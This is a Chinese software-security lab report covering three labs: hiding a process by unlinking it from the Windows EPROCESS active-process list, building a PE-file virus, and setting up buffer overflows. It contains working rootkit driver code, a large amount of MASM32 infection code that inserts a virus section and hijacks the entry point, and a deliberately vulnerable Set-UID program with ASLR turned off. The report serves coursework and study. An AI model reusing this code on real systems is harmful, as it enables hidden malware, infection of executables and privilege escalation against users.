软件安全实验完整记录


实验一 进程与进程隐藏

一、实验要求

试利用 windbgDDKSoftICE 查看 EProcessPEB 中活动进程相关信息,绘制出当前活动进程双向链表在内核态和用户态下的进程链表结构,并设计“断链”方法利用这两个结构体实现自己任意指定进程在任务管理器中的隐藏。

二、实验原理

Windows内核结构体如下表所示:

描述 数据结构
双链表 LIST_ENTRY
进程和线程 EPROCESS, KPROCESS, ETHREAD, KTHREAD
内核 & HAL KPCR, KINTERRUPT, CONTEXT, KTRAP_FRAME, KDPC, KAPC, KAPC_STATE
异步对象 DISPATCHER_HEADER, KEVENT, KSEMAPHORE, KMUTANT, KTIMER, KGATE, KQUEUE
执行体 & RTL IO_WORKITEM
I/O管理器 IRP, IO_STACK_LOCATION, DRIVER_OBJECT, DEVICE_OBJECT, DEVICE_NODE, FILE_OBJECT
对象和句柄 OBJECT_HEADER, OBJECT_TYPE, HANDLE_TABLE_ENTRY
内存管理器 MDL, MMPTE, MMPFN, MMPFNLIST, MMWSL, MMWSLE, POOL_HEADER, MMVAD
缓存管理器 VACB, VACB_ARRAY_HEADER, SHARED_CACHE_MAP, PRIVATE_CACHE_MAP, SECTION_OBJECT_POINTERS

Windows内核使用 ERPROCESS 结构体来表示一个进程,其包含了内核需要去保存关乎该进程的信息。对每一个运行在系统中的进程包括 System ProcessSystem Idle Process 来说,都有一个对应的 EPROCESS结构。

EPROCESS 结构属于内核的执行体层,包含了进程的资源相关信息诸如句柄表、虚拟内存、安全、调试、异常、创建信息、I/O转移统计以及进程计时等。任何进程都可以同时隶属于多个集合或组。例如,一个进程总是在系统中active 进程列表中,一个进程可以属于内部运行着一个会话的进程集合,一个进程也可以是某个 job 的一部分。为了实现这些集合或组,EPROCESS 结构通过不同的字段持有数个列表项。

ActiveProcessLink 字段用于将该 EPROCESS 结构链入系统中 active 进程链表,该链表的头保存在内核变量中 PsActiveProcessHead。类似的,SessionProcessLinks 字段用于将该 EPROCESS 结构链入到一个会话链表,链表头在 MM_SESSION_SPACE.ProcessListJobLinks 字段用于将该 EPROCESS 结构链入到所属的job链表中,链表头在 EJOB.ProcessListHead。内存管理器全局变量 MmProcessList 通过 MmProcessLinks 字段链入了一个进程链表。该链表可以通过 MiReplicatePteChange()横贯以更新内核模式中关于进程虚拟地址空间的那部分。

属于进程的所有线程链表保存在 ThreadListHead 中,线程通过 ETHREAD.ThreadListEntry 排队。内核变量 ExpTimerResolutionListHead 持有一个进程链表,使用 NtSetTimerResolution() 来改变定时器间隔。该链表被 ExpUpdateTimerResolution()函数使用来更新时间分辨率到所有进程中需求值最小对应的进程。

三、实验具体步骤

3.1 活动进程相关信息与进程链表结构

我们以 Windows10(x64) 为实验环境进行实验。我们使用 windbg( x64,以管理员身份)软件进行下面的操作。首先 Ctrl + K 进入本地内核 Debug

image-20221129202705619

在Windows内核中有一个活动进程链表 ActiveProcessLinks,它是一个双向链表,保存着系统中所有进程的 EPROCESS 结构,如下图所示:

image-20221203112659710

在一定的偏移量(本 Win 10(x64) 环境中的偏移量为 0x2f0 )处,存在活动进程链表,如上图红色框所示。下表列出了不同系统活动进程链表 ActiveProcessLinks 相对于 EPROCESS 结构体的偏移量:

Win XP Win 7 Win 8.1 Win 10
32 Bits 0x088 0xB8 0xB8 0xB8
64 Bits 0x088 0x188 0x2E8 0x2F0

我们查看活动进程链表的结构,如下图所示:

image-20221203112806037

由图中可看出该结构为双向链表,有 FlinkBlink 两个指针。

我们列出当前系统的所有进程,使用 !process 0 0 命令:

image-20230107134458758

我们观察到当前系统存在 ImageFileName Calculator.exe 的进程:

image-20230107113938013

我们查看Calculator.exeEPROCESS结构,使用 dt _EPROCESS ffffe001df0b7080 命令:

image-20230107114024297

PEB 域是一个进程的进程环境块(PEB Process Environment Block),其是位于进程地址空间(即用户模式空间)的内存块。我们查看 Calculator.exePEB,使用dt _PEB ffffe001df0b7080命令:

image-20230107114538581

结合以上分析,我们绘制本 Windows10(x64) 环境中当前活动进程双向链表在内核态和用户态下的进程链表结构如下:

image-20230107141143198

3.2 隐藏进程加载的模块

本实验中,我们应用 Windbg Preview 软件以实现双机(主机+虚拟机)调试。

基于第一小节对 EPROCESS 的分析,结合我们的 Windows10(x64)的环境,我们知道,活动进程链表在 EPROCESS 偏移量为 0x2f0 处,而 ImageFileNameEPROCESS 偏移量为0x448处。

我们拟在任务管理器中隐藏的进程为 Calculator.exe,实现隐藏的方法描述如下:

通过 ActiveProcessLinks 活动进程链表结构遍历进程。在遍历每个进程的过程中,先通过 strcmp 函数将 ImageFileNameCalculator.exe 进行比较,若找到目标进程,则把上一个节点的 Blink 改成自己的下一个节点,把下一个节点的 Flink 改成自己的上一个节点,即可实现隐藏。

隐藏进程方法的示意图如下所示:

image-20230107112400509

Windows 驱动开发环境采用 Visual Studio 2019 进行开发。配置完相应环境后,先选择 Empty WDM Driver 创建一个空工程,编写以下代码:

#include <ntifs.h>
#include <String.h>

//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	DbgPrint("Driver Exit\n");
}

void test() {

	PEPROCESS eprocess = IoGetCurrentProcess();
	PCHAR name = NULL;

	PLIST_ENTRY next = NULL, first = NULL;
	next = first = (PLIST_ENTRY)((ULONG64)eprocess + 0x2f0);
	// list偏移量为0x2f0, ImageFileName偏移量为0x448
	do {
		// 0x448 - 0x2f0 == 0x158
		name = (PCHAR)((ULONG64)next + 0x158);
		DbgPrint("%s\n", name);

		if (strcmp((const char*)name, "Calculator.exe") == 0) {
			next->Blink->Flink = next->Flink;
			next->Flink->Blink = next->Blink;
			DbgPrint("Succeed!");
			break;
		}

		next = (PLIST_ENTRY)next->Blink;
	} while (next->Blink != first);

}

//驱动入口
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
	//设置卸载函数
	pDriverObject->DriverUnload = DriverUnload;
	DbgPrint("Driver load succeed\n");
	test();
	return STATUS_SUCCESS;
}

通过编译、创建解决方案后将后缀为 .sys 的驱动程序保存至虚拟机环境中。我们使用 Windows 驱动加载工具DriverMonitor 加载驱动,使用 DebugView 用于监视本地系统上的调试输出。由于我们的驱动程序未经过签名,故我们还需在虚拟机环境中禁用Win10系统驱动程序强制签名(步骤为设置->更新和安全->恢复->高级启动->更改相关设置)。

进行上述准备操作后,我们打开计算器软件 (Calculator.exe),然后在DriverMonitor 中加载我们之前写好的驱动,并点击 Go。可以看到,在任务管理器中的该进程被隐藏。

操作截图如下:

(操作界面):

image-20230105234536329

(未运行驱动的任务管理器截图):

image-20230105234810535

(运行驱动后的任务管理器截图):

image-20230105234500692

实验二 PE文件病毒核心机制的实现

一、实验要求

完成一个简单的 PE 文件病毒核心机制的实现,具体要求如下:

  1. 自定义可执行文件的搜索范围;
  2. 要求能够自动识别 PE 文件类型;
  3. 利用节插入、节扩展或节添加(三者任选一种)方式完成病毒在PE文件中的感染机制;
  4. 利用注册表的系统调用 API 函数(创建键 RegCreateKeyEx、打开一个键 RegOpenKeyEx、读取键 RegQueryValueEx、设置键值 RegSetValueEx、删除键值 RegDeketeKey)实现一种系统配置的修改,作为一种对系统使用过程中的病毒破坏机制;

要求利用 CC++,也可以利用 MASM32HAL 语言(高级汇编语言)实现;实验的软件工具请事先自己准备好。

二、实验原理

一个 PE 文件中的常用区段如下:

  • .text:代码段,可读、可执行;
  • .data:存放全局变量、全局常量等;
  • .idata:导入函数的代码段,存放外部函数地址;
  • .rdata:资源数据段(包括自己打包的,还有开发工具打包的);
  • .reloc:实现重定位

PE 病毒编写的关键技术主要是:

  • 定位
  • 获取 API 函数
  • 搜索目标文件
  • 感染
  • 破坏

实现对PE文件病毒的感染有三种方式:

方法1:节添加

1、判断目标文件开始的两个字节是否为“MZ”;

2、判断PE文件的标记(“PE”);

3、判断感染标记,如果已被感染过就跳出,去执行宿主程序,否则继续;

4、获得数据目录(Data Directory)的个数(每个数据目录占8个字节);

5、得到节表的起始地址(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)

6、得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息),节表的起始地址+节的个数*28H(每个节表占用的字节数)=节表的末尾偏移

7、开始写入节表:

a)写入节名(8字节)。

b)写入节的实际字节数(4字节)。

c)写入新节在内存中的开始偏移地址(4字节),同时可以计算出病毒入口位置。 上一个节在内存中的开始偏移地址+(上一个节的大小/节对齐+1)*节对齐=本节在内存中的开始偏移地址。

d)写入本节(即病毒节)在文件中对齐后的大小。

e)写入本节在文件中的开始位置。 上节在文件中的开始位置+上节对齐后的大小=本节(即病毒)在文件中的开始位置。

8、修改映像文件头的节表数目

9、修改 AddressOfEntryPoint(即程序入口点指向病毒入口位置),同时保存旧的 AddressOfEntryPoint,以便返回宿主并继续执行。

10、更新 SizeOfImage(内存中整个PE 映像尺寸=原 SizeOfImage +病毒节经过内存节对齐后的大小)。

11、写入感染标记(后面例子中是放在 PE 头中)。

12、在新添加的节中写入病毒代码。

示意图如下所示:

image-20230107142545623

方法2:节扩展

image-20230107142633871

方法3:节插入(利用空闲区修改PE)

image-20230107142711345

三、实验具体步骤

本实验采用 MASM32 汇编语言进行代码实现,采用 RadASM 工具进行开发,并在 Win XP 环境进行测试。

在本实验中,我们分别使用节添加、节扩展、节插入三种方法进行PE文件病毒的感染,并在感染后实现在打开被感染的 exe 后进行弹窗的机制。

我们首先设计以下窗体(保存在 .dlg 文件中),三种方法的病毒感染对应不同密码(loong、xp、cuit),当输入其余字符串时会显示密码错误:

image-20230107003114626

3.1 节添加

节添加中需要进行以下操作:

增加 IMAGE_SECTION_HEADER,设置节属性,计算起偏移、RVA等,并修改节表数、SizeOfCode,将插入代码写入新加的节区,修改文件入口点,修正跳转到原入口点指令。具体来看有以下步骤:

首先进行预处理,打开文件:

invoke	lstrcpy,addr @szNewFile,f_Name
invoke	CreateFile,addr @szNewFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
	FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if	eax ==	INVALID_HANDLE_VALUE
	invoke	MessageBox,0,addr szErrCreate,NULL,MB_OK
	jmp	_Ret
.endif
mov	@hFile,eax

第二步是获得新加入节表的地址:

首先将 esi 赋值为前面文件内存映射之后文件 NT 头的地址,并将所有头+节表描述项全部拷贝到堆中,将 edi 赋值为 PE 文件头(加节表)在堆中分配的首地址,并与 esi 相加,ebx 为增加的一个 IMAGE_SETION_HEADER 结构的地址:

mov	esi,_lpPeHead                                                                         ;esi为前面文件内存映射之后文件NT头的地址
assume	esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
invoke	GlobalAlloc,GPTR,[esi].OptionalHeader.SizeOfHeaders
mov	edi,eax
invoke	RtlMoveMemory,edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders                           ;所有头+节表描述项全部拷贝到堆中
mov	@lpMemory,eax                                                                          ;eax为PE文件头(加节表)在堆中分配的首地址
mov	edi,eax
add	edi,esi
sub	edi,_lpFile                                                                 ;此时edi应该为堆中的PE文件的NT头地址
movzx	eax,[esi].FileHeader.NumberOfSections                                       ;PE文件的Section的个数
dec	eax
mov	ecx,sizeof IMAGE_SECTION_HEADER
mul	ecx

mov	edx,edi
add	edx,eax                                                                     
add	edx,sizeof IMAGE_NT_HEADERS                                                 ;edx为最后一个IMAGE_SECTION_HEADER的地址
mov	ebx,edx
add	ebx,sizeof IMAGE_SECTION_HEADER                                             ;ebx为增加的一个IMAGE_SETION_HEADER结构的地址

第三步是加入节,并修正一些PE头部的内容:

inc	[edi].FileHeader.NumberOfSections                                           ;节个数加1
mov	eax,[edx].PointerToRawData                                                  ;最后节基于文件的偏移量-->eax
add	eax,[edx].SizeOfRawData                                                     ;最后节占用长度+eax-->eax,为新节的文件偏移
            	mov    fTemp0,eax
mov	[ebx].PointerToRawData,eax                                                  ;得到新节的文件偏移
              ;计算新节文件对齐后长度
invoke	_Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment
mov	[ebx].SizeOfRawData,eax      ;对齐文件长度
              ;计算新节内存对齐后长度
invoke	_Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment
add	[edi].OptionalHeader.SizeOfCode,eax	                                     ;修正代码段大小SizeOfCode
add	[edi].OptionalHeader.SizeOfImage,eax	                                     ;修正内存中整个PE映像体的尺寸SizeOfImage
              ;计算
invoke	_Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment          ;最后一个节经过对齐之后的长度
add	eax,[edx].VirtualAddress                                                     ;最后一个节的RVA加上该节内存对齐之后的长度
mov	[ebx].VirtualAddress,eax                                                     ;得到新节的内存偏移
mov	[ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov	[ebx].Characteristics,IMAGE_SCN_CNT_CODE\                                    ;设置新节的属性为“代码”+“可执行”+“可读”+“可写”
	or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
invoke	lstrcpy,addr [ebx].Name1,addr szMySection

然后修正文件入口指针,分别需要保存老的入口地址和设置新的入口地址:

mov    eax, [edi].OptionalHeader.AddressOfEntryPoint
mov    @dwEntry, eax                                                                 ;保存老的入口地址
mov	eax,[ebx].VirtualAddress
add	eax,(offset _NewEntry-offset APPEND_CODE)
mov	[edi].OptionalHeader.AddressOfEntryPoint,eax                                 ;设置新的入口地址

然后写入文件:

            ;写文件头和原程序内容
invoke	WriteFile,@hFile,@lpMemory,[esi].OptionalHeader.SizeOfHeaders,\
	addr @dwTemp,NULL
invoke	SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
            ;写新代码
invoke	WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
	addr @dwTemp,NULL
mov	eax,[ebx].PointerToRawData
add	eax,[ebx].SizeOfRawData
invoke	SetFilePointer,@hFile,eax,NULL,FILE_BEGIN
invoke	SetEndOfFile,@hFile

其次,修正新加代码中的 Jmp oldEntry 指令:

mov	eax,[ebx].VirtualAddress
add	eax,(offset _ToOldEntry-offset APPEND_CODE+5); jmp xxxxxxxx的下条指令偏移地址,大小为5字节,所以加5
sub	@dwEntry,eax
mov	ecx,[ebx].PointerToRawData
add	ecx,(offset _dwOldEntry-offset APPEND_CODE)

invoke	SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
invoke	WriteFile,@hFile,addr @dwEntry,4,addr @dwTemp,NULL

最后关闭文件即可:

		invoke	GlobalFree,@lpMemory
		invoke	CloseHandle,@hFile
_Ret:
		assume	esi:nothing
              	invoke	lstrcpy ,f_Name ,addr @szNewFile
		popad

3.2 节扩展

节扩展中需要进行以下操作:

修改最后一个节表的属性,文件对齐后的大小,并修改文件入口点、修正跳转到原入口点指令。具体来看,与第一种方式的区别主要在于需要定位到最后一个节表的地址,并进行节扩展:

mov	esi,_lpPeHead                                                                         ;esi为前面文件内存映射之后文件NT头的地址
assume	esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
invoke	GlobalAlloc,GPTR,[esi].OptionalHeader.SizeOfHeaders
mov	edi,eax                                                                                ;edi指向了堆中的首地址
invoke	RtlMoveMemory,edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders                           ;所有头+节表描述项全部拷贝到堆中
mov	@lpMemory,eax                                                                          ;eax为PE文件头(加节表)在堆中分配的首地址
add	edi,esi
sub	edi,_lpFile                                                                            ;此时edi应该为堆中的PE文件的NT头地址
movzx	eax,[esi].FileHeader.NumberOfSections                                                  ;PE文件的Section的个数
dec	eax
mov	ecx,sizeof IMAGE_SECTION_HEADER
mul	ecx

mov	ebx,edi
add	ebx,eax                                                                     
add	ebx,sizeof IMAGE_NT_HEADERS                                                 ;edx为最后一个IMAGE_SECTION_HEADER的地址
assume	ebx:ptr IMAGE_SECTION_HEADER 

3.3 节插入

节插入中需要进行以下操作:

循环遍历各区表结构,判断空闲区间是否大于插入代码的大小。判断该节是否已经插入了代码。修正区段实际代码长度、文件对齐之后的长度、节表的属性。

定位到可以插入的节代码设计如下:

;定位到可以插入的节
; esi --> 原PeHead,edi --> 新的PeHead
; ebx --> 插入的节表
;*******************************************************************
		mov	esi,_lpPeHead                                                                          ;esi为前面文件内存映射之后文件NT头的地址
		assume	esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
		invoke	GlobalAlloc,GPTR,[esi].OptionalHeader.SizeOfHeaders
		mov	edi,eax
		invoke	RtlMoveMemory,edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders                           ;所有头+节表描述项全部拷贝到堆中		
		mov	@lpMemory,eax                                                                          
		add	edi,esi
		sub	edi,_lpFile                                                                            ;edi为堆中拷贝的NT头首地址
		mov	cx,[esi].FileHeader.NumberOfSections                                                   ;节表的个数
		dec	ecx
		mov	@secNum,ecx
		xor	ecx,ecx
		mov	ebx,sizeof IMAGE_NT_HEADERS
		add	ebx,edi                                                                                ;ebx指向堆中的第一个IMAGE_SECTION_HEADER结构
		assume	ebx:ptr IMAGE_SECTION_HEADER
		
		.while	ecx <= @secNum
			mov	eax,sizeof IMAGE_SECTION_HEADER
			mul	cx
			add	ebx,eax                                                                       ;ebx定位到第ecx+1个IMAGE_SECTION_HEADER结构的地址
			mov	eax,[ebx].SizeOfRawData                                                       ;节在文件中对齐后的长度
			sub	eax,[ebx].Misc.VirtualSize                                                    ;减去节的实际长度之后得到的是节的空白区大小
			mov	edx,offset APPEND_CODE_END - offset APPEND_CODE                               ;病毒大小
			.if	eax >= edx
				jmp Ok_insert
			.endif
			inc ecx
		.endw
;******************************************************************
;如果没有符合条件的节表,则退出。
;******************************************************************
		invoke MessageBox,NULL,addr tell_3,addr sorry,MB_OK
		jmp _Ret

其次,应该修正 PE 头部的内容,并修正文件入口指针:

;修正一些PE头部的内容
;****************************************************************** 
	Ok_insert:
		invoke SetFilePointer,@hFile,0,NULL,FILE_BEGIN
		mov	ecx,[ebx].Misc.VirtualSize                                                  ;如果这个节已经被感染了
		add	ecx,[ebx].PointerToRawData
		sub	ecx,4
		invoke 	SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
		invoke 	ReadFile,@hFile,addr @flags,4,addr @dwTemp,NULL
		mov 	eax,@flags
		.if	eax == 11111111h
			invoke MessageBox,NULL,addr tell_2,addr sorry,MB_OK
			jmp _Ret
		.endif
		
		mov	eax,offset APPEND_CODE_END - offset APPEND_CODE
		add	eax,[ebx].Misc.VirtualSize
		mov	[ebx].Misc.VirtualSize,eax                                                            ;修正节区代码的实际长度
		invoke	_Align,[ebx].Misc.VirtualSize,[esi].OptionalHeader.FileAlignment                  
		mov	[ebx].SizeOfRawData,eax                                                               ;修正节在文件对齐之后的长度
		mov	[ebx].Characteristics,IMAGE_SCN_CNT_CODE\                                    ;设置新节的属性为“代码”+“可执行”+“可读”+“可写”
			or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
;*****************************************************************
;修正文件入口指针
;*****************************************************************
		mov	eax,[esi].OptionalHeader.AddressOfEntryPoint
		mov	@dwEntry,eax
		mov	eax,[ebx].VirtualAddress
		add	eax,[ebx].Misc.VirtualSize
		sub	eax,offset APPEND_CODE_END - offset _NewEntry
		mov	[edi].OptionalHeader.AddressOfEntryPoint,eax

3.4 获取 API 函数与 Kernel32.dll 的地址

Win32 下的系统功能调用一般通过调用动态连接库中的 API 函数实现。病毒获取 API 函数地址主要采用以下两种方法:

  • 静态方式:调用时,根据函数名查引入表,就可以获取该函数的地址。
  • 动态方式:使用函数 LoadLibrary 装载需要调用的函数所在的dll文件,获取模块句柄。然后调用GetProcAddress 获取需要调用的函数地址。这种方式是在需要调用函数时才将函数所在的模块调入到内存中,同时也不需要编译器为函数在引入表中建立相应的项。

LoadLibraryGetProcAddress 函数是系统模块 kernel32.dll 提供的,所以他们必定在 kernel32 的引出表中被导出。只要我们能得到 kernel32 的地址,我们就可以通过搜索 kernel32 的引出表,搜索得到它们的地址。

得到模块 kernel32 的地址的方法如下:由于程序入口点是被 kernel32 某个函数调用的,所以这个调用函数肯定在 kernel32 的地址空间上。那么我们只要取得这个返回地址,就得到了一个 kernel32 空间中的一个地址。

Kernel32.dll 的加载基地址按照 0x1000 对齐,通过这个地址,我们可以从高地址向低地址方向进行搜索,通过PE标志的判断,搜索到 kernel32 模块的基地址。具体实现流程如下:

GetKernelBase proc _dwKernelRet:DWORD
    LOCAL @dwReturn:DWORD
     
    pushad
    mov @dwReturn,0
     
;******************************************************
;查找Kernel32.dll的基地址
;******************************************************
    mov edi,_dwKernelRet
    and edi,0ffff0000h
    .while TRUE
        .if word ptr [edi] == IMAGE_DOS_SIGNATURE
            mov esi,edi
            add esi,[esi+003ch]                       ;e_lfanew字段的偏移为3c
            .if word ptr [esi] == IMAGE_NT_SIGNATURE
                mov @dwReturn,edi
                .break
            .endif
        .endif
        _PageError:
        sub edi,01000h
        .break .if edi < 07000000h
    .endw
    popad
    mov eax,@dwReturn
    ret
 
_GetKernelBase endp

查找 API 地址的具体实现流程如下:

GetApi proc _hModule:DWORD,_lpszApi:DWORD
     
    local @dwReturn:DWORD
    LOCAL @dwStringLength:DWORD                                 ;需要查找地址的API函数的长度
     
    pushad
    mov @dwReturn,0
;****************************************************
;重定位
;****************************************************
    Call @F
    @@:
    pop ebx
    sub ebx,offset @B
     
;****************************************************
;计算API字符串的长度(包含'\0')
;****************************************************
    mov edi,_lpszApi
    mov ecx,-1
    xor al,al
    cld                                         ;设置方向标志DF=0,地址递增
    repnz scasb
    mov ecx,edi
    sub ecx,_lpszApi
    mov @dwStringLength,ecx
     
;****************************************************
;导出表
;****************************************************
    mov esi,_hModule
    assume esi:ptr IMAGE_DOS_HEADER
    add esi,[esi].e_lfanew
    assume esi:ptr IMAGE_NT_HEADERS
    mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
    add esi,_hModule
    assume esi:ptr IMAGE_EXPORT_DIRECTORY
     
;****************************************************
;寻找符合名称的导出函数名
;****************************************************
    mov ebx,[esi].AddressOfNames
    add ebx,_hModule
    xor edx,edx
    .repeat
        push esi
        mov edi,[ebx]                                    ;获取一个指向导出函数的API函数名称的RVA
        add edi,_hModule                                 ;加上基地址
        mov esi,_lpszApi                                 ;esi指向需要查找的API函数名称
        mov ecx,@dwStringLength                          ;需要寻找的API函数的名称长度
        repz cmpsb                                       ;导出API函数名与需要查找的函数名进行逐位比较
        .if ZERO?
            pop esi                                  ;如果匹配
            jmp @F
        .endif
        pop esi
        add ebx,4                                        ;指向下一个API函数名的RVA
        inc edx                                          ;计数加一
    .until edx >= [esi].NumberOfNames                        ;如果所有的函数名已经都进行过匹配,则说明需要查找的函数不在Kernel32.dll里面
    jmp _Error
@@:                                       ;ebx指向了导出表中需要查找的函数名的地址
;**********************************************************
;API名称索引 --> 序号索引 -->地址索引
;**********************************************************
    sub ebx,_hModule                      ;减去Kernel32基地址
    sub ebx,[esi].AddressOfNames          ;减去AddressOfNames字段的RVA,得到的值为API名称索引*4(DWORD)
    shr ebx,1                             ;除以2(AddressOfNameOrdinals的序号为WORD)
    add ebx,[esi].AddressOfNameOrdinals   ;加上AddressOfNameOrdinals字段的RVA
    add ebx,_hModule                      ;加上Kernel32基地址
    movzx eax, word ptr [ebx]             ;得到该API的序号
    shl eax,2                             ;乘以4(地址为DWORD型)
    add eax,[esi].AddressOfFunctions      ;加上AddressOfFunctions字段的RVA
    add eax,_hModule                      ;加上Kernel32的基地址,此时eax指向的就是需要查找的函数名的地址
    mov eax,[eax]
    add eax,_hModule
    mov @dwReturn,eax
_Error:
    assume esi:nothing
    popad
    mov eax,@dwReturn
    ret
 
_GetApi endp

3.5 实验演示

在未感染病毒的情况下,hello.exe 执行结果如下:

image-20230107154056706

输入相应密码并开始感染,发现可以感染 hello.exe,并执行感染操作:

image-20230107003100440

感染后打开hello.exe,执行结果如下:

image-20230107001905714

我们使用区段查看器分别对感染前和三种方式感染后的 PE 文件区段进行对比:

感染前的 PE 文件区段:

image-20230107154515191

节添加方式感染的 PE 文件区段:

image-20230107154722270

节扩展方式感染的 PE 文件区段:

image-20230107154749268

节插入方式感染的 PE 文件区段:

image-20230107154757510

实验三 缓冲区溢出实验

一、实验要求

调试课堂介绍的有关栈溢出、堆溢出实例、BSS溢出和格式化字符串溢出实例,围绕着这些实例采用的溢出方法,自行调整溢出使用的字符串,摸索并掌握控制程序流程的字符串设计方法,并分析其特征和规律。注意事项如下:

  1. 栈溢出需要重点体验函数调用与返回过程中栈帧的结构与变化,以及返回函数地址(EIP)的控制方法

  2. 堆溢出需要关注堆的大小、堆的反复创建与释放可能造成的碎片、连续创建堆之间的间隙

  3. 格式化字符串需要关注各种格式化字符串结合自行设置的变量造成溢出的规律

  4. BSS溢出对于指针函数的获取方法,可以自行设计一个PE文件

要求自行构建缓冲区溢出场景(漏洞利用和攻击字符串构型,比如说RNSNSR等),利用线程注入的方法,通过缓冲区溢出实现权限提升的攻击代码。

二、实验原理

缓冲区溢出的方法主要包括栈溢出、堆溢出、BSS 溢出、格式化串溢出等。

2.1 栈溢出

栈(Stack)是一种用来存储函数调用时的临时信息的结构,如函数调用所传递的参数、函数的返回地址、函数的局部变量等。在实际应用中,堆栈会用于存储临时变量函数调用、中断切换时保存和恢复现场数据

如果在堆栈中压入的数据超过预先给堆栈分配的容量时,就会出现堆栈溢出,从而使得程序运行失败;如果发生溢出的是大型程序还有可能会导致系统崩溃。

2.2 堆溢出

当我们需要较大的缓冲区或在写代码时不知道包含在缓冲区中对象的大小,常常要使用堆。

堆溢出的工作方式几乎与栈溢出的工作方式完全相同,唯一不同的是,堆没有压栈和入栈操作,而是分配和回收内存。C 语言中使用 malloc()free() 函数实现内存的动态分配和回收,C++ 语言使用 new()delete() 函数来实现相同的功能。

堆管理系统的三类操作分别是堆块分配、堆块释放和堆块合并,归根结底都是对链表的修改。

Overflow Freed Chunk可以理解为常规的堆溢出,即程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块
不难发现,堆溢出漏洞发生的基本前提:

  • 程序向堆上写入数据
  • 写入的数据大小没有被良好地控制

2.3 BSS 溢出

BSS段指用来存放程序中未初始化的全局变量的一块内存区域,其分配比较简单,变量与变量之间是连续存放的,没有保留空间。

下面定义的两个字符数组即是位于 BSS 段:

static char buf1[16], buf2[16];

如果事先向 buf2 中写入16个字符 A,之后再往 buf1 中写入24个字符 B,由于变量之间是连续存放的,静态字符数组buf1 溢出后,就会覆盖其相邻区域字符数组 buf2 的值。利用这一点,攻击者可以通过改写 BSS 中的指针或函数指针等方式,改变程序原先的执行流程,使指针跳转到特定的内存地址并执行指定操作。

2.4 格式化串溢出

格式化串溢出源自 *printf() 类函数的参数格式问题(如 printffprintfsprintf 等)。

int printf (const char *format, arg1, arg2,);

它们将根据 format 的内容(%s%d%p%x%n,…),将数据格式化后输出。

问题在于 printf() 函数并不能确定数据参数 arg1arg2,…究竟在什么地方结束,即函数本身不关心参数的个数;当 printf 在输出格式化字符串的时候,会维护一个内部指针,当 printf 逐步将格式化字符串的字符打印到屏幕,当遇到 % 的时候,printf 会期望它后面跟着一个格式字符串,因此会递增内部字符串以抓取格式控制符的输入值。

这就是问题所在,printf无法知道栈上是否放置了正确数量的变量供它操作,如果没有足够的变量可供操作,而指针按正常情况下递增,就会产生越界访问;甚至由于 %n 的问题,可导致任意地址读写。

格式化串溢出的示意图如下所示:

image-20230107230524528

三、实验具体步骤

3.1 栈溢出

在本实验中,我们将分析缓冲区溢出漏洞存在的原因,并模拟进行缓冲区溢出漏洞攻击,最后将设计缓冲区溢出漏洞分析的工具。

缓冲区溢出可能导致程序崩溃或者执行其他代码。从攻击者的角度来看,后者更加有利可图。当攻击者能够让一个目标程序运行他们的代码时,他们就能劫持该程序的执行流程。如果该程序以某种特权运行,那就意味着攻击者将获得额外的权限。

在本次实验中,通过缓冲区溢出攻击拿到系统的 root 权限的根本方法就是向缓冲区中注入我们要拿到 root 权限的恶意代码,这个过程中我们通过不同的方法达到我们的目的,如构造有漏洞的程序注入恶意代码、对缓冲区采取爆破寻找地址、构造 shellcode 等。

在缓冲区溢出漏洞分析工具的设计环节,我们通过自动添加语句的脚本,在给定的源程序中添加能够检测源程序各函数是否具有缓冲区溢出漏洞的代码。

栈溢出部分的实验流程图如下所示:

image-20230107155646862

3.1.1 构造具有栈溢出漏洞的程序

在 32位 Ubuntu16.04 虚拟机中搭建攻击环境。由于缓冲区溢出问题由来已久,多数操作系统已经采取了一些防御措施。为简化实验,先关闭这些防御措施,完成攻击后再将它们逐个打开,研究它们的防御原理。

首先我们关闭地址随机化,即关闭针对缓冲区溢出攻击的防御措施,命令为 sudo sysctl -w kernel.randomize_va_space=0

然后使用 stack.c 代码作为目标程序,代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int foo(char *str)
{
    char buffer[100];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);              // ➀
    return 1;
}
int main(int argc, char **argv)
{
    char str[400];
    FILE *badfile;
    badfile = fopen("badfile" , "r");
    fread(str, sizeof(char), 300 , badfile);   // ➁
    foo(str);
    printf("Returned Properly\n");
    return 1;
}

通过以下指令来编译该程序,将它转换成有 root 权限的 Set-UID 程序:

gcc -o stack -z execstack -fno-stack-protector stack.c 
sudo chown root stack 
sudo chmod 4755 stack

我们构造的实验环境是当把一个字符串复制到缓冲区中时,其长度超过大小的情况。

